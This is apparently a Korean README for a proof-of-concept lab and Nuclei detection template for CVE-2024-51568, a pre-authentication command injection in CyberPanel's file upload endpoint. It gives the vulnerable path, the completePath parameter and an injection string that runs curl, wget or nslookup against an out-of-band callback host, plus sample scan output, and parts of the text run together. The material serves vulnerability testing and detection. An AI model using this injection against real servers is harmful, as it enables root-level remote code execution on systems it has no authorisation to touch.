
CVE-2024-51568의 개념 증명 환경 및 Nuclei 템플릿입니다. 이는 CyberPanel의 사전 인증 명령 삽입 취약점으로, 루트 권한으로 원격 코드 실행을 가능하게 합니다.
CVE-2024-51568을 테스트하기 위한 개념 증명 환경 및 Nuclei 템플릿입니다. 이는 CyberPanel의 중요한 사전 인증 명령 삽입 취약점입니다.
/filemanager/uploadcompletePathcd docker/
docker-compose up -d --build
curl -I http://localhost:8090
nuclei -t template/cve-2024-51568.yaml -u http://localhost:8090
샘플 출력:
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.10
projectdiscovery.io
[INF] nuclei-templates are not installed, installing...
[INF] Successfully installed nuclei-templates at /root/nuclei-templates
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.8 (latest)
[INF] New templates added in latest release: 114
[INF] Templates loaded for current scan: 1
[INF] Targets loaded for current scan: 1
[INF] Using Interactsh Server: oast.online
[CVE-2024-51568] [http] [critical] http://localhost:8090/filemanager/upload
[INF] Scan completed in 5.706766772s. 1 matches found.
CyberPanel v2.3.4는 파일 업로드 기능에 명령 삽입 결함이 있습니다:
POST /filemanager/uploadcompletePathProcessUtilities.outputExecutioner()를 통해 실행됨completePath에 삽입된 명령이 포함된 악성 파일 업로드 전송/dev/null; curl {{interactsh-url}} || wget {{interactsh-url}} || nslookup {{interactsh-url}}; #
이 페이로드는 다양한 시스템 구성에서 안정적인 탐지를 보장합니다.
이 환경은 보안 연구 및 교육을 위해 의도적인 취약점을 포함하고 있습니다:
이 개념 증명은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 사용자는 관련 법률을 준수하고 테스트 전에 적절한 승인을 받을 책임이 있습니다.